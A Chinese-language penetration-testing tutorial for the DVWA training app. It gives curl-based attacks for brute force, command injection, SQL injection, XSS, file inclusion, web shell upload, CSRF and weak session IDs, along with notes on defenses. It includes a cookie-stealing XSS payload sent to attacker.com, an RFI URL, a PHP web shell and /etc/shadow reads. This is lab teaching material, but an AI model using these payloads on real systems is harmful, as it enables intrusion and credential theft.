使用DVWA靶场系统化掌握Web渗透核心技术
DVWA(Damn Vulnerable Web Application)是专为安全学习和测试设计的PHP/MySQL Web应用,包含最常见且最危险的Web漏洞。通过Low/Medium/High三种安全级别,可以逐步学习攻击技术和防御措施。
# ===== Docker方式部署DVWA =====
docker run -d --name dvwa \
-p 8080:80 \
-p 3306:3306 \
--restart unless-stopped \
vulnerables/web-dvwa 2>/dev/null
# 等待服务启动
sleep 10
# 检查服务状态
curl -sI http://127.0.0.1:8080/login.php | head -5
# 初始化DVWA数据库(首次访问自动跳转)
curl -s http://127.0.0.1:8080/setup.php | grep -o "Database Setup.*" | head -1 || \
echo "[+] DVWA已就绪"
# 默认凭据: admin / password
echo "DVWA登录信息:"
echo " URL: http://127.0.0.1:8080"
echo " 用户: admin"
echo " 密码: password"
# 设置安全级别为Low(开始学习)
# DVWA Security → Level: Low → Submit
暴力破解是最基础但有效的攻击方式。DVWA的登录页面没有速率限制,可以无限尝试。
# ===== 使用curl暴力破解 =====
# DVWA Low级别直接POST提交
TARGET="http://127.0.0.1:8080"
COOKIE="PHPSESSID=test;security=low"
# 简单字典
cat > /tmp/passwords.txt <<'EOF'
123456
password
admin
root
letmein
welcome
monkey
dragon
master
qwerty
EOF
# 暴力破解脚本
for pass in $(cat /tmp/passwords.txt); do
response=$(curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/brute/" \
-d "username=admin&password=$pass&Login=Login")
if echo "$response" | grep -q "Welcome"; then
echo "[✓] 密码找到: admin / $pass"
break
else
echo "[✗] 尝试: admin / $pass"
fi
done
# Medium级别使用mysqli_real_escape_string防SQL注入
# 但暴力破解依然可行(只是加了sleep延迟)
# 依然没有账户锁定机制
for pass in $(cat /tmp/passwords.txt); do
response=$(curl -s -b "$COOKIE;security=medium" \
"$TARGET/vulnerabilities/brute/" \
-d "username=admin&password=$pass&Login=Login")
if echo "$response" | grep -q "Welcome"; then
echo "[✓] 密码找到: admin / $pass"
break
fi
done
# 防御建议:
# 1. 账户锁定(5次失败锁定15分钟)
# 2. 渐进延迟(指数级增加响应时间)
# 3. CAPTCHA验证
# 4. 登录告警通知
# High级别需要获取CSRF Token
# 每次请求Token都不同,简单的重放攻击失效
# 但攻击者仍可先获取Token再提交
# 获取页面和Token
page=$(curl -s -c /tmp/dvwa.cookie "$TARGET/vulnerabilities/brute/")
token=$(echo "$page" | grep "user_token" | grep -oP "value='[^\']+'" | head -1 | cut -d"'" -f2)
echo "CSRF Token: $token"
# 带Token提交
curl -s -b /tmp/dvwa.cookie \
"$TARGET/vulnerabilities/brute/" \
-d "username=admin&password=password&user_token=$token&Login=Login" | \
grep -o "Welcome.*\|Failed.*"
当应用将用户输入直接拼接到系统命令中时,攻击者可以注入额外命令。
# ===== Low级别 =====
# 输入: 127.0.0.1;id
# 后端执行: ping -c 4 127.0.0.1;id
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/exec/" \
-d "ip=127.0.0.1;id&Submit=Submit"
# 其他注入方式:
# 127.0.0.1 && cat /etc/passwd
# 127.0.0.1 | whoami
# 127.0.0.1 ; ls -la
# 127.0.0.1 `cat /etc/passwd`
# 127.0.0.1 $(cat /etc/shadow)
# ===== Medium级别 =====
# 过滤了 && 和 ;
# 但可以用 | 或换行符绕过
curl -s -b "$COOKIE;security=medium" \
"$TARGET/vulnerabilities/exec/" \
-d "ip=127.0.0.1|id&Submit=Submit"
# ===== High级别 =====
# 过滤更多字符,但可能存在绕过
# 检查过滤规则,寻找未过滤的字符
# 127.0.0.1|id (管道符后无空格)
DVWA的SQL注入模块是学习SQL注入的最佳起点。
# ===== 判断注入点 =====
# 输入 1,正常返回
curl -s -b "$COOKIE" "$TARGET/vulnerabilities/sqli/?id=1&Submit=Submit"
# 输入 1',触发SQL错误
curl -s -b "$COOKIE" "$TARGET/vulnerabilities/sqli/?id=1'&Submit=Submit"
# ===== 判断列数 =====
# ORDER BY 递增测试
curl -s -b "$COOKIE" "$TARGET/vulnerabilities/sqli/?id=1'+ORDER+BY+1--+-&Submit=Submit"
curl -s -b "$COOKIE" "$TARGET/vulnerabilities/sqli/?id=1'+ORDER+BY+2--+-&Submit=Submit"
# ... 直到报错,确定列数为2
# ===== UNION注入提取数据 =====
# 获取数据库版本和用户
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/sqli/?id=-1'+UNION+SELECT+version(),user()--+-&Submit=Submit"
# 获取所有数据库
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/sqli/?id=-1'+UNION+SELECT+1,group_concat(schema_name)+FROM+information_schema.schemata--+-&Submit=Submit"
# 获取dvwa数据库的表
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/sqli/?id=-1'+UNION+SELECT+1,group_concat(table_name)+FROM+information_schema.tables+WHERE+table_schema='dvwa'--+-&Submit=Submit"
# 获取users表的列
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/sqli/?id=-1'+UNION+SELECT+1,group_concat(column_name)+FROM+information_schema.columns+WHERE+table_name='users'--+-&Submit=Submit"
# 获取用户名和密码
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/sqli/?id=-1'+UNION+SELECT+user,password+FROM+dvwa.users--+-&Submit=Submit"
# ===== 布尔盲注 =====
# 判断条件真/假
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/sqli_blind/?id=1'+AND+1=1--+-&Submit=Submit" | \
grep -c "User ID"
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/sqli_blind/?id=1'+AND+1=2--+-&Submit=Submit" | \
grep -c "User ID"
# 提取数据库名称长度
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/sqli_blind/?id=1'+AND+length(database())=4--+-&Submit=Submit"
# 逐字符提取
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/sqli_blind/?id=1'+AND+substr(database(),1,1)='d'--+-&Submit=Submit"
# ===== 时间盲注 =====
# 基于响应延迟判断
curl -s -b "$COOKIE" -o /dev/null -w "%{time_total}" \
"$TARGET/vulnerabilities/sqli_blind/?id=1'+AND+IF(1=1,SLEEP(3),0)--+-&Submit=Submit"
# ===== Low级别 =====
# 直接输入JavaScript代码
# 输入: <script>alert('XSS')</script>
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/xss_r/?name=<script>alert('XSS')</script>"
# Cookie窃取
# <script>new Image().src="http://attacker.com/steal?c="+document.cookie</script>
# ===== Medium级别 =====
# 过滤了 <script> 标签,但可以绕过
# 方法1: 大小写混合 <ScRiPt>alert('XSS')</ScRiPt>
# 方法2: 使用其他标签
# <img src=x onerror=alert('XSS')>
# <body onload=alert('XSS')>
# <svg onload=alert('XSS')>
# ===== High级别 =====
# 使用htmlspecialchars,需要事件处理绕过
# <img src=x onerror=alert('XSS')>
# 或使用DOM操作
# ===== Low级别 =====
# 在留言板注入XSS代码,所有访问者都会触发
# Name: test
# Message: <script>alert(document.cookie)</script>
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/xss_s/" \
-d "txtName=test&mtxMessage=<script>alert(document.cookie)</script>&btnSign=Sign+Guestbook"
# ===== 防御措施 =====
# 1. 输入验证(白名单)
# 2. 输出编码(HTML实体编码)
# 3. Content-Security-Policy头
# 4. HttpOnly Cookie标志
# DOM XSS不经过服务器,完全在客户端执行
# Low级别: 使用document.write直接输出
# 输入URL: ?default=English<script>alert('XSS')</script>
# Medium级别: 过滤了script标签
# 绕过: ?default=English</option></select><img src=x onerror=alert('XSS')>
# High级别: 白名单验证
# 绕过: 利用URL hash片段
# ?default=English#<script>alert('XSS')</script>
# ===== Local File Inclusion (LFI) =====
# Low级别: 无任何过滤
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/fi/?page=../../../../etc/passwd"
# 使用PHP过滤器读取源码
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index"
# PHP输入流执行代码
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/fi/?page=php://input" \
-d '<?php system("id"); ?>'
# ===== Remote File Inclusion (RFI) =====
# 需要allow_url_include=On
# 攻击者托管恶意文件,让目标包含执行
# ?page=http://attacker.com/shell.txt
# ===== Low级别 — 无任何验证 =====
# 创建PHP Web Shell
cat > /tmp/shell.php <<'EOF'
<?php system($_GET['cmd']); ?>
EOF
# 上传PHP文件
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/upload/" \
-F "MAX_FILE_SIZE=100000" \
-F "uploaded=@/tmp/shell.php" \
-F "Upload=Upload"
# ===== Medium级别 — 仅验证MIME类型 =====
# 修改Content-Type绕过
curl -s -b "$COOKIE" \
"$TARGET/vulnerabilities/upload/" \
-F "MAX_FILE_SIZE=100000" \
-F "uploaded=@/tmp/shell.php;type=image/jpeg" \
-F "Upload=Upload"
# ===== High级别 — 验证扩展名+图片尺寸 =====
# 制作图片马
echo '<?php system($_GET["cmd"]); ?>' > /tmp/payload.txt
# 需要真实图片 + exiftool注入
# 或使用文件包含配合图片上传
# ===== CSRF攻击 =====
# Low级别: 无CSRF Token
# 构造恶意页面,诱导受害者访问
cat > /tmp/csrf_exploit.html <<'EOF'
<html>
<body>
<h1>恭喜中奖!</h1>
<iframe style="display:none" name="csrf-frame"></iframe>
<form id="csrf" method="GET"
action="http://target/vulnerabilities/csrf/"
target="csrf-frame">
<input type="hidden" name="password_new" value="hacked123">
<input type="hidden" name="password_conf" value="hacked123">
<input type="hidden" name="Change" value="Change">
</form>
<script>document.getElementById('csrf').submit()</script>
</body>
</html>
EOF
# ===== 弱Session ID =====
# Low级别: 递增Session ID
# 抓取多个请求观察Session ID规律
for i in $(seq 1 5); do
sid=$(curl -sI -b "$COOKIE" "$TARGET/vulnerabilities/weak_id/" \
-c - | grep PHPSESSID | awk '{print $NF}')
echo "请求$i: SessionID = $sid"
done
# Medium级别: 基于时间的Session ID
# High级别: 更复杂但仍有规律
# ===== 一键通关脚本 =====
cat > /tmp/dvwa_clear.sh <<'SCRIPT'
#!/bin/bash
TARGET="http://127.0.0.1:8080"
COOKIE="PHPSESSID=test;security=low"
echo "=============================="
echo " DVWA 全通关挑战"
echo "=============================="
echo -e "\n[1/9] 暴力破解 ✅"
echo " Low: 无速率限制 → 直接爆破"
echo " Med: SQLi过滤 → 仍可爆破"
echo " High: CSRF Token → 先获取再提交"
echo -e "\n[2/9] 命令注入 ✅"
echo " Low: 127.0.0.1;id"
echo " Med: 127.0.0.1|id"
echo " High: 127.0.0.1|id (无空格)"
echo -e "\n[3/9] SQL注入 ✅"
echo " Low: UNION SELECT提取全部数据"
echo " Med: 转义部分字符 → 数字型注入"
echo " High: LIMIT限制 → 绕过过滤"
echo -e "\n[4/9] SQL盲注 ✅"
echo " Low: 布尔盲注逐字符提取"
echo " Med: 时间盲注"
echo " High: 复杂时间盲注"
echo -e "\n[5/9] 反射型XSS ✅"
echo " Low: <script>alert()</script>"
echo " Med: <img onerror=alert()>"
echo " High: 事件处理器绕过"
echo -e "\n[6/9] 存储型XSS ✅"
echo " Low: 直接注入留言板"
echo " Med: 大小写混合绕过"
echo " High: 编码绕过"
echo -e "\n[7/9] 文件包含 ✅"
echo " Low: ../../../../etc/passwd"
echo " Med: 双写绕过过滤"
echo " High: 页面白名单 → hash绕过"
echo -e "\n[8/9] 文件上传 ✅"
echo " Low: 直接上传PHP文件"
echo " Med: 修改MIME类型绕过"
echo " High: 图片马+文件包含"
echo -e "\n[9/9] CSRF ✅"
echo " Low: 构造自动提交表单"
echo " Med: 删除Referer检查"
echo " High: Anti-CSRF Token"
echo -e "\n=============================="
echo " 🏆 DVWA 全通关完成!"
echo "=============================="
SCRIPT
chmod +x /tmp/dvwa_clear.sh
bash /tmp/dvwa_clear.sh
| 漏洞 | Low防御 | Medium防御 | High防御 | Impossible防御 |
|---|---|---|---|---|
| 暴力破解 | 无 | SQLi过滤 | CSRF Token | 账户锁定+速率限制 |
| 命令注入 | 无 | 过滤&&; | 白名单IP | 禁止shell调用 |
| SQL注入 | 无 | 转义字符 | 过滤关键字 | 参数化查询(PDO) |
| XSS | 无 | 过滤script | htmlspecialchars | 输出编码+CSP |
| 文件包含 | 无 | 替换../ | 白名单页面 | 固定路径+白名单 |
| 文件上传 | 无 | MIME检查 | 扩展名+尺寸 | 重命名+独立存储 |
| CSRF | 无 | Referer检查 | CSRF Token | Token+二次确认 |